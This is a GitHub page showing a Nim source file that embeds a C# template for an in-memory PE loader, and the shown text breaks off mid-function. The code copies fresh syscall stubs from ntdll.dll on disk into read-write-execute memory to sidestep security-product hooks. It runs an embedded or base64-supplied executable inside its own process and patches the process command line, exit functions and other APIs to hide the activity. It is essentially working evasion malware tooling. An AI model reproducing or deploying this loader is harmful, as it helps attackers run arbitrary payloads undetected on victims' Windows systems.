Repository navigation
Expand file tree
/
Copy pathCsharp.nim
More file actions
2617 lines (2207 loc) · 95.9 KB
/
Copy pathCsharp.nim
File metadata and controls
2617 lines (2207 loc) · 95.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
let CSTemplate* = """
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
using System.Runtime.ConstrainedExecution;
using System.Security;
using System.Diagnostics;
using System.IO.MemoryMappedFiles;
namespace SyscallPELoader
{
internal static class Program
{
private const uint EXECUTION_TIMEOUT = 30000;
internal static Encoding encoding;
internal static int Main(string[] args)
{
try
{
if (IntPtr.Size != 8)
{
Console.WriteLine("\n[-] Process is not 64-bit, this version of run-exe won't work !\n");
return -1;
}
// If args are empty, pass an arbitrary value into args[0]
if (args.Length == 0)
{
args = new string[] { "QWERQWERQWER" };
}
var peRunDetails = ParseArgs(args.ToList());
if (peRunDetails == null)
{
return -10;
}
var peMapper = new PEMapper();
peMapper.MapPEIntoMemory(peRunDetails.binaryBytes, out var pe, out var currentBase);
var importResolver = new ImportResolver();
importResolver.ResolveImports(pe, currentBase);
peMapper.SetPagePermissions();
var argumentHandler = new ArgumentHandler();
if (!argumentHandler.UpdateArgs(peRunDetails.filename, peRunDetails.args))
{
return -3;
}
var exitPatcher = new ExitPatcher();
if (!exitPatcher.PatchExit())
{
return -8;
}
var fileDescriptorRedirector = new FileDescriptorRedirector();
if (!fileDescriptorRedirector.RedirectFileDescriptors())
{
Console.WriteLine("[-] Unable to redirect file descriptors");
return -7;
}
var extraEnvironmentalPatcher = new ExtraEnvironmentPatcher((IntPtr)currentBase);
extraEnvironmentalPatcher.PerformExtraEnvironmentPatches();
// Patch this last as may interfere with other activity
var extraAPIPatcher = new ExtraAPIPatcher();
if (!extraAPIPatcher.PatchAPIs((IntPtr)currentBase))
{
return -9;
}
fileDescriptorRedirector.StartReadFromPipe();
StartExecution(peRunDetails.args, pe, currentBase);
// Revert changes
exitPatcher.ResetExitFunctions();
extraAPIPatcher.RevertAPIs();
extraEnvironmentalPatcher.RevertExtraPatches();
fileDescriptorRedirector.ResetFileDescriptors();
fileDescriptorRedirector.ClosePipes();
argumentHandler.ResetArgs();
peMapper.ClearPE();
importResolver.ResetImports();
// Print the output
var output = fileDescriptorRedirector.ReadDescriptorOutput();
Console.WriteLine(output);
return 0;
}
catch (Exception e)
{
return -6;
}
}
private static void StartExecution(string[] binaryArgs, PELoader pe, long currentBase)
{
FreshSyscall syscallstealer = new FreshSyscall();
string[] requiredSyscalls = { "NtCreateThreadEx", "NtWaitForSingleObject" };
syscallstealer.GrabSyscallStub(requiredSyscalls);
NativeDeclarations.NtCreateThreadEx fSyscallNTCTE = (NativeDeclarations.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(syscallstealer.StubAddressTable["NtCreateThreadEx"], typeof(NativeDeclarations.NtCreateThreadEx));
NativeDeclarations.NtWaitForSingleObject fSyscallNTWFSO = (NativeDeclarations.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(syscallstealer.StubAddressTable["NtWaitForSingleObject"], typeof(NativeDeclarations.NtWaitForSingleObject));
try
{
Process currentProcess = Process.GetCurrentProcess();
var threadStart = (IntPtr)(currentBase + (int)pe.OptionalHeader64.AddressOfEntryPoint);
//var hThread = NativeDeclarations.CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
fSyscallNTCTE(out IntPtr hThread, Native.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, currentProcess.Handle, threadStart, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
//NativeDeclarations.WaitForSingleObject(hThread, EXECUTION_TIMEOUT);
fSyscallNTWFSO(hThread, false, 0);
}
catch (Exception e)
{
}
}
private static PeRunDetails ParseArgs(List<string> args)
{
string filename = "";
string[] binaryArgs;
byte[] binaryBytes;
if (args.Contains("---f") || args.Contains("---b"))
{
filename = args[args.IndexOf("---f") + 1];
if (args.Contains("---a"))
{
binaryArgs = Encoding.UTF8.GetString(Convert.FromBase64String(args[args.IndexOf("---a") + 1])).Split();
}
else
{
binaryArgs = new string[] { };
}
binaryBytes = Convert.FromBase64String(args[args.IndexOf("---b") + 1]);
}
else
{
filename = args[0];
string byteString = "QWERQWERQWER";
string[] byteValues = byteString.Split(',');
byte[] byteArray = new byte[byteValues.Length];
for (int i = 0; i < byteValues.Length; i++)
{
byteArray[i] = byte.Parse(byteValues[i]);
}
binaryBytes = byteArray;
// uncomment this if else completely if the file is embedded
if (args.Count > 1)
{
binaryArgs = new string[args.Count - 1];
Array.Copy(args.ToArray(), 1, binaryArgs, 0, args.Count - 1);
}
else
{
binaryArgs = new string[] { };
}
}
return new PeRunDetails { filename = filename, args = binaryArgs, binaryBytes = binaryBytes };
}
}
public class FreshSyscall
{
private bool IsNTDLLByteReady = false;
public Dictionary<string, IntPtr> StubAddressTable = new Dictionary<string, IntPtr> { };
private IntPtr pNTDLLImage = IntPtr.Zero;
private Dictionary<string, string> GuidTable = new Dictionary<string, string> { };
public void GetNTDLLFromDisk(string DefaultPath)
{
string NTDLLFullPath;
try { NTDLLFullPath = (Process.GetCurrentProcess().Modules.Cast<ProcessModule>().Where(x => "ntdll.dll".Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().FileName); } catch { NTDLLFullPath = null; }
if (File.Exists(DefaultPath))
{
byte[] NTDLLBytes = System.IO.File.ReadAllBytes(DefaultPath);
PEReader NTDLL = new PEReader(NTDLLBytes);
int RegionSize = NTDLL.Is32BitHeader ? (int)NTDLL.OptionalHeader32.SizeOfImage : (int)NTDLL.OptionalHeader64.SizeOfImage;
int SizeOfHeaders = NTDLL.Is32BitHeader ? (int)NTDLL.OptionalHeader32.SizeOfHeaders : (int)NTDLL.OptionalHeader64.SizeOfHeaders;
IntPtr pNTDLLImage = Marshal.AllocHGlobal(RegionSize);
Marshal.Copy(NTDLLBytes, 0, pNTDLLImage, SizeOfHeaders);
for (int i = 0; i < NTDLL.FileHeader.NumberOfSections; i++)
{
IntPtr pVASectionBase = (IntPtr)((UInt64)pNTDLLImage + NTDLL.ImageSectionHeaders[i].VirtualAddress);
Marshal.Copy(NTDLLBytes, (int)NTDLL.ImageSectionHeaders[i].PointerToRawData, pVASectionBase, (int)NTDLL.ImageSectionHeaders[i].SizeOfRawData);
}
this.pNTDLLImage = pNTDLLImage;
this.IsNTDLLByteReady = true;
}
else
{
if (NTDLLFullPath != null)
{
byte[] NTDLLBytes = System.IO.File.ReadAllBytes(NTDLLFullPath);
PEReader NTDLL = new PEReader(NTDLLBytes);
int RegionSize = NTDLL.Is32BitHeader ? (int)NTDLL.OptionalHeader32.SizeOfImage : (int)NTDLL.OptionalHeader64.SizeOfImage;
int SizeOfHeaders = NTDLL.Is32BitHeader ? (int)NTDLL.OptionalHeader32.SizeOfHeaders : (int)NTDLL.OptionalHeader64.SizeOfHeaders;
IntPtr pNTDLLImage = Marshal.AllocHGlobal(RegionSize);
Marshal.Copy(NTDLLBytes, 0, pNTDLLImage, SizeOfHeaders);
for (int i = 0; i < NTDLL.FileHeader.NumberOfSections; i++)
{
IntPtr pVASectionBase = (IntPtr)((UInt64)pNTDLLImage + NTDLL.ImageSectionHeaders[i].VirtualAddress);
Marshal.Copy(NTDLLBytes, (int)NTDLL.ImageSectionHeaders[i].PointerToRawData, pVASectionBase, (int)NTDLL.ImageSectionHeaders[i].SizeOfRawData);
}
this.pNTDLLImage = pNTDLLImage;
this.IsNTDLLByteReady = true;
}
}
}
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName, ref int FunctionSize)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// create a new dictionary for the function pointers
var FunctionPointersList = new List<Int64>();
int WantedFunctionIndex = 0;
for (int i = 0; i < NumberOfNames; i++)
{
string CurrentFunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
Int32 CurrentFunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 CurrentFunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (CurrentFunctionOrdinal - OrdinalBase))));
IntPtr CurrentFunctionPtr = (IntPtr)((Int64)ModuleBase + CurrentFunctionRVA);
FunctionPointersList.Add((Int64)CurrentFunctionPtr);
if (CurrentFunctionName == ExportName)
{
WantedFunctionIndex = i;
}
}
if (WantedFunctionIndex == 0)
{
// Export not found
throw new MissingMethodException(ExportName + " not found.");
}
IntPtr WantedFunctionAddress = (IntPtr)FunctionPointersList[WantedFunctionIndex];
FunctionPointersList.Sort();
FunctionPointersList = FunctionPointersList.Distinct().ToList();
int WantedFunctionIndexSorted = FunctionPointersList.IndexOf((Int64)WantedFunctionAddress);
IntPtr NextFunctionPointer = (IntPtr)FunctionPointersList[WantedFunctionIndexSorted + 1];
FunctionSize = (Int32)((Int64)NextFunctionPointer - (Int64)WantedFunctionAddress);
FunctionPtr = WantedFunctionAddress;
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
return FunctionPtr;
}
public unsafe void GrabSyscallStub(string[] FuncName)
{
for (int i = 0; i < FuncName.Count(); i++)
{
IntPtr output = IntPtr.Zero;
if (!FuncName[i].StartsWith("Nt") && !FuncName[i].StartsWith("Zw"))
{
throw new InvalidOperationException("FreshSyscall can only steals pure NT APIs!");
}
if (!this.IsNTDLLByteReady)
{
this.GetNTDLLFromDisk(@"C:\Windows\System32\ntdll.dll");
}
int FuncSize = 0;
IntPtr pFunc = GetExportAddress(this.pNTDLLImage, FuncName[i], ref FuncSize);
byte[] bSyscallStub = new byte[FuncSize];
Marshal.Copy(pFunc, bSyscallStub, 0, FuncSize);
// generate RWX memory
string NewGuid = Guid.NewGuid().ToString();
var MemMapSystemMem = MemoryMappedFile.CreateNew(NewGuid, FuncSize, MemoryMappedFileAccess.ReadWriteExecute);
var MemMapViewAccessor = MemMapSystemMem.CreateViewAccessor(0, FuncSize, MemoryMappedFileAccess.ReadWriteExecute);
MemMapViewAccessor.WriteArray(0, bSyscallStub, 0, FuncSize);
byte* pSyscallStub = null;
MemMapViewAccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pSyscallStub);
//Console.WriteLine("[+] Got fresh Syscall stub for {0} from disk!", FuncName[i]);
output = (IntPtr)pSyscallStub;
this.StubAddressTable.Add(FuncName[i], output);
this.GuidTable.Add(FuncName[i], NewGuid);
}
}
public void CleanUp()
{
foreach (var StubGuid in this.GuidTable.Values)
{
var MemMapSystemMem = MemoryMappedFile.OpenExisting(StubGuid);
MemMapSystemMem.Dispose();
}
Marshal.FreeHGlobal(this.pNTDLLImage);
// resetting values
this.StubAddressTable.Clear();
this.GuidTable.Clear();
this.IsNTDLLByteReady = false;
this.pNTDLLImage = IntPtr.Zero;
}
}
public class PEReader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get
{
int i = Name.Length - 1;
while (Name[i] == 0)
{
--i;
}
char[] NameCleaned = new char[i + 1];
Array.Copy(Name, NameCleaned, i + 1);
return new string(NameCleaned);
}
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
Stub = 0x00000000,
}
/// The DOS header
private IMAGE_DOS_HEADER dosHeader;
/// The file header
private IMAGE_FILE_HEADER fileHeader;
/// Optional 32 bit file header
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
/// Optional 64 bit file header
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
/// Image Section headers. Number of sections is in the file header.
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PEReader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open, System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = System.IO.File.ReadAllBytes(filePath);
}
}
public PEReader(byte[] fileBytes)
{
// Read in the DLL or EXE and get the timestamp
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
}
else
{
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader<T>(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
{
get
{
return optionalHeader32;
}
}
/// Gets the optional header
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get
{
return optionalHeader64;
}
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get
{
return imageSectionHeaders;
}
}
public byte[] RawBytes
{
get
{
return rawbytes;
}
}
}
internal class PeRunDetails
{
internal string filename;
internal string[] args;
internal byte[] binaryBytes;
}
internal class ArgumentHandler
{
private const int
PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET =
0x20; // Offset into the PEB that the RTL_USER_PROCESS_PARAMETERS pointer sits at
private const int
RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET =
0x70; // Offset into the RTL_USER_PROCESS_PARAMETERS that the CommandLine sits at https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters
private const int RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET = 2;
private const int
RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET =
0x60; // Offset into the RTL_USER_PROCESS_PARAMETERS that the CommandLine sits at https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters
private const int
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET =
0x8; // Offset into the UNICODE_STRING struct that the string pointer sits at https://docs.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string
private byte[] _originalCommandLineFuncBytes;
private IntPtr _ppCommandLineString;
private IntPtr _ppImageString;
private IntPtr _pLength;
private IntPtr _pMaxLength;
private IntPtr _pOriginalCommandLineString;
private IntPtr _pOriginalImageString;
private IntPtr _pNewString;
private short _originalLength;
private short _originalMaxLength;
private string _commandLineFunc = null;
private Encoding _encoding;
public bool UpdateArgs(string filename, string[] args)
{
var pPEB = Utils.GetPointerToPeb();
if (pPEB == IntPtr.Zero)
{
return false;
}
GetPebCommandLineAndImagePointers(pPEB, out _ppCommandLineString, out _pOriginalCommandLineString,
out _ppImageString, out _pOriginalImageString, out _pLength, out _originalLength, out _pMaxLength,
out _originalMaxLength);
var commandLineString = Marshal.PtrToStringUni(_pOriginalCommandLineString);
var imageString = Marshal.PtrToStringUni(_pOriginalImageString);
var newCommandLineString = "";
var pNewCommandLineString = Marshal.StringToHGlobalUni(newCommandLineString);
var pNewImageString = Marshal.StringToHGlobalUni(filename);
if (!Utils.PatchAddress(_ppCommandLineString, pNewCommandLineString))
{
return false;
}
if (!Utils.PatchAddress(_ppImageString, pNewImageString))
{
return false;
}
Marshal.WriteInt16(_pLength, 0, (short)newCommandLineString.Length);
Marshal.WriteInt16(_pMaxLength, 0, (short)newCommandLineString.Length);
if (!PatchGetCommandLineFunc(newCommandLineString))
{
return false;
}
var getCommandLineAPIString = Marshal.PtrToStringUni(NativeDeclarations.GetCommandLine());
return true;
}
private bool PatchGetCommandLineFunc(string newCommandLineString)
{
var pCommandLineString = NativeDeclarations.GetCommandLine();
var commandLineString = Marshal.PtrToStringAuto(pCommandLineString);
_encoding = Encoding.UTF8;
if (commandLineString != null)
{
var stringBytes = new byte[commandLineString.Length];
// Copy the command line string bytes into an array and check if it contains null bytes (so if it is wide or not
Marshal.Copy(pCommandLineString, stringBytes, 0,
commandLineString.Length); // Even if ASCII won't include null terminating byte
if (!new List<byte>(stringBytes).Contains(0x00))
{
_encoding = Encoding.ASCII; // At present assuming either ASCII or UTF8
}
Program.encoding = _encoding;
